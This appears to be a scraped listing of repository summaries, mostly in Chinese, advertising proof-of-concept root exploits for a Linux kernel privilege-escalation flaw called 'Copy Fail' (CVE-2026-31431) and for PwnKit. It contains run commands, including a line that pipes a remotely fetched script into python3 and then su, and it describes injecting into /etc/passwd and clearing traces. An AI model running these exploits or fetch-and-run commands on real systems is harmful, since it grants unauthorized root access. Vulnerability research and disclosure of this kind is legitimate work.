GhostShell

GhostShell CVE-2026-31431 — Escalada de Privilegios Local mediante Corrupción de la Caché de Páginas del Kernel de Linux GhostShell es una herramienta de escalada de privilegios local que explota una falla en la implementación del cifrado AEAD authencesn del kernel de Linux para obtener una shell...

CVE-2026-31431-Copy-Fail

CVE-2026-31431-Copy-Fail 由 infrar3d 利用 本仓库包含针对 CVE-2026-31431（Copy Fail） 的概念验证漏洞利用代码。 CVE-2026-31431，又称“Copy Fail”，是 Linux 内核中一个高严重性的本地权限提升（LPE）漏洞，已存在近十年。它允许非特权本地用户获取 root 访问权限。 使用方法： root@kitploit: python3 CVE-2026-31431.py 或 python3 CVE-2026-31431.py username ⚠️ 免责声明 ⚠️ 本软件及概念验证代码仅供教育和研究目的 使用。...

copy-fail-CVE-2026-31431-php

CVE-2026-31431（复制失败）PHP PoC root@kitploit: www-data@jumpbox:/home$ id uid=33www-data gid=33www-data groups=33www-data www-data@jumpbox:/home$ uname -a Linux testbox 5.15.0-136-generic 147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x8664 x8664 x8664 GNU/Linux www-data@jumpbox:/home$ php...

autorootlinux

autorootlinux 一个基于CVE-2026-31431的获取root权限的linux脚本 本脚本仅供学习使用，请在测试环境使用（内核操作有风险） 使用方法: root@kitploit: chmod +x main.sh ./main.sh...

CVE-2026-31431

CVE-2026-31431 — Copy Fail 732 字节，通杀主流 Linux 发行版，直达 root CVE-2026-31431（Copy Fail）是 Linux 内核 authencesn 加密模板中的一个逻辑漏洞。它允许非特权本地用户对系统上任意可读文件的页缓存（page cache）进行确定性的、可控的 4 字节写入。 概述 CVE 编号: CVE-2026-31431 类型: 本地提权 / 容器逃逸 影响范围: 启用 CONFIGCRYPTOAUTHENC 的 Linux 内核（2017 年以来几乎所有主流发行版） 发现者: Xint Code 研究团队，Theo...

cve_2026_31431_audit

CVE-2026-31431 审计 本项目提供了一个专业的 Python 脚本，用于检查系统是否受 CVE-2026-31431 漏洞影响，并演示如何利用该漏洞进行安全研究。 🎬 完整工作流程 下图展示了从环境审计（SCAN）、补丁注入（PUNCH）、到获取 root 权限提升（SHELL），最后进行痕迹清理（CLEAN）的完整流程： 🛠 核心功能 检测 ：通过非破坏性的影子序列检查当前内核是否受 CVE-2026-31431 漏洞影响。 利用 ：利用页面缓存劫持漏洞向 /etc/passwd 注入数据，以模拟权限提升。 验证 ：调用交互式环境验证提升后的权限并获取 root 访问权限。...

CVE-2026-31431-PocC

CVE-2026-31431-PocC CVE-2026-31431 C语言复现的poc，可在目标环境没有py时进行利用 漏洞基本信息 漏洞类型：Linux 内核 AFALG 子系统页面缓存投毒，通过污染 SUID 文件内容实现本地权限提升与可能的容器逃逸。 影响内核版本：Linux 内核 5.15 6.1.x（部分更低或更高版本也可能受影响，取决于 AFALG 相关编译选项）。 利用条件： 内核编译了 CONFIGCRYPTOUSERAPIAEAD 并支持 AEAD 算法（如 authenchmacsha256,cbcaes），或对应模块已加载。...

CVE-2026-31431-RCE-Exploit

🔴 CVE-2026-31431 — "Copy Fail" Un fallo lógico del kernel de Linux de 9 años que otorga acceso root en segundos Resumen Copy Fail es una vulnerabilidad de escalada de privilegios local LPE de alta severidad en el subsistema criptográfico del kernel de Linux algifaead. Descubierta y divulgada por...

CVE-2026-31431

CVE-2026-31431 CopyFail 标准二进制文件 在 https://exploitroom.com 获取所有新的 CVE 警报 root@kitploit: mail :: /Desktop/CVE-2026 » file exploit: ELF 64-bit LSB executable, x86-64, version 1 GNU/Linux, statically linked, BuildIDsha1=9454dbdde0ac2d1a8981c06db89f24a4753ec3b7, for GNU/Linux 3.2.0, not stripped...

Linux-copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail（Linux 权限提升） 概述 本仓库提供了 CVE-2026-31431 的技术概述与演示，该漏洞通常被称为 Copy Fail ，是一个可导致本地权限提升的 Linux 内核漏洞。 该漏洞影响广泛的 Linux 发行版，允许非特权用户通过利用内核中页缓存处理的不一致来获取 root 访问权限。 免责声明 本项目仅用于： 教育目的 安全研究 道德且授权的测试 未经适当许可在系统上擅自使用此信息是严格禁止的。 漏洞摘要 CVE ID： CVE-2026-31431 名称： Copy Fail 类型： 本地权限提升（LPE） 严重性： 高...

CVE-2026-31431

CVE-2026-31431 概念验证（PoC） 本仓库包含针对 CVE-2026-31431 的概念验证（PoC）漏洞利用代码，演示了一个本地权限提升漏洞。 !WARNING 本项目仅限教育和安全研究目的使用 。 请仅在您拥有或已获得明确书面授权测试的系统上使用。 未经授权的使用可能违法，强烈不建议这样做。 使用方法 直接运行： root@kitploit: curl -s https://raw.githubusercontent.com/AliHzSec/CVE-2026-31431/refs/heads/master/main.py | python3 && su 祝黑客之旅愉快...

CVE-2026-31431

📌 CVE-2026-31431 – 通过 AEAD 加密套接字误用实现权限提升 🧠 概述 CVE-2026-31431 是一个 Linux 权限提升漏洞，它滥用了 AFALG（内核加密 API） 接口。通过构造与 AEAD（带关联数据的认证加密）套接字的恶意交互，攻击者可以提升权限并以 root 身份执行代码。 该漏洞利用了加密套接字操作处理不当的问题，允许受控的内存操作并最终实现权限提升。 ⚠️ 影响 本地权限提升 Root shell 访问（/usr/bin/su） 影响具有易受攻击的内核加密实现的系统 🔍 技术分析 该漏洞利用程序： 创建一个 AFALG 套接字 绑定到：...

yc-mk8s-copy-fail-mitigation

Copy Fail / Dirty Frag 缓解措施（适用于 Yandex Managed Kubernetes） 自动为 Yandex Managed Kubernetes 集群的所有 worker 节点应用针对 Linux 内核漏洞 CVE-2026-31431、CVE-2026-43284 和 CVE-2026-43500 的缓解措施。 漏洞描述 CVE 标识符（CVE ID）： CVE-2026-43284、CVE-2026-43500 CVE 链接： https://nvd.nist.gov/vuln/detail/CVE-2026-43284 原始报告： Dirty...

copy-fail-go

copy-fail-go grenkoca 的 Python PoC 的 Go 移植版本，针对 CVE-2026-31431 （copy-fail）。 此版本可编译为完全静态的二进制文件，零运行时依赖——无需 Python、无需 pip、无 libc 版本限制。将其放到任何 Linux 目标上即可运行。它还会自动枚举目标上所有 SUID 全局可读二进制文件，并让你通过交互式菜单选择要利用的目标。 仅限授权的安全研究和 CTF 使用。 什么是 CVE-2026-31431（copy-fail）？ 由 Theori 发现并于 2026 年 4 月 29 日 公开披露，Copy.Fail 是...

CVE-2026-31431

CVE-2026-31431 CVE-2026-31431检测和测试 0x01 Quick Start Some target environments do not have Python installed, so this privilege escalation logic was rewritten in C. 1. Compile Run the following command on your Linux machine or WSL using -static is recommended to avoid GLIBC version issues:...

copy-fail

Copy Fail PoC CVE=2026-31431 的概念验证 这些脚本可将任意普通用户提权至 root。适用于 大多数 Linux 发行版和 CPU。 技术文章详见 https://copy.fail...

CVE-2026-31431

CVE-2026-31431 - 概念验证 Linux algifaead 页缓存写入至 root - 本地权限提升漏洞利用 技术分析 https://websec.net/blog/cve-2026-31431-linux-algifaead-page-cache-write-to-root-69f38a4ccddd2db1f520f170 说明 我们尚未对该 PoC 进行全面测试，其基于公开参考资料编写 如有任何问题请告知我们：[email protected] 此 PoC 仅用于授权测试、防御及教育性安全研究目的，使用此漏洞利用即表示您同意对使用方式承担全部责任！ 常见问...

CVE-2021-4034

CVE-2021-4034 一个简单的 PWNKIT 文件，可将你转换为 root 权限。| 仅用于教育目的。 这是什么？ 这是一个预先制作并预先压缩好的 PWNKIT。 为什么？ 我正在开发一个脚本（AUTO-PWNKIT）来自动化 pwnkit，我将使用这个仓库。 AutoPwnkit 工具 AutoPwnkit: https://github.com/x04000/AutoPwnkit 致谢 该脚本由 https://github.com/berdav/CVE-2021-4034 制作...

copy-fail-CVE-2026-31431

漏洞描述 漏洞成因 Linux 内核加密模块 authencesn在 2017 年引入了一处针对 AEAD（认证加密）操作的原地（in-place）优化，该优化导致在特定条件下，页缓存（page cache）中的只读页面可以被错误地放入可写目标散列表（scatterlist）。攻击者通过 AFALG 套接字暴露的内核加密 API，结合 splice系统调用，利用上述逻辑缺陷实现对 setuid 二进制文件（如 /usr/bin/su）页缓存的 4 字节任意写入，从而篡改程序逻辑，获取 root shell。 整个利用过程为直线逻辑，无需竞争窗口（race...

CVE-2021-4034

CVE-2021-4034 显然并非原创。我对其进行了重写，以理解其中的原理。漏洞发现致谢：https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt 其他帮助我理解该漏洞利用的 PoC： https://github.com/berdav/CVE-2021-4034 https://github.com/ryaagard/CVE-2021-4034 构建 root@kitploit: make 漏洞利用 root@kitploit: ❯ ./main LOADED! whoami root id uid=0root...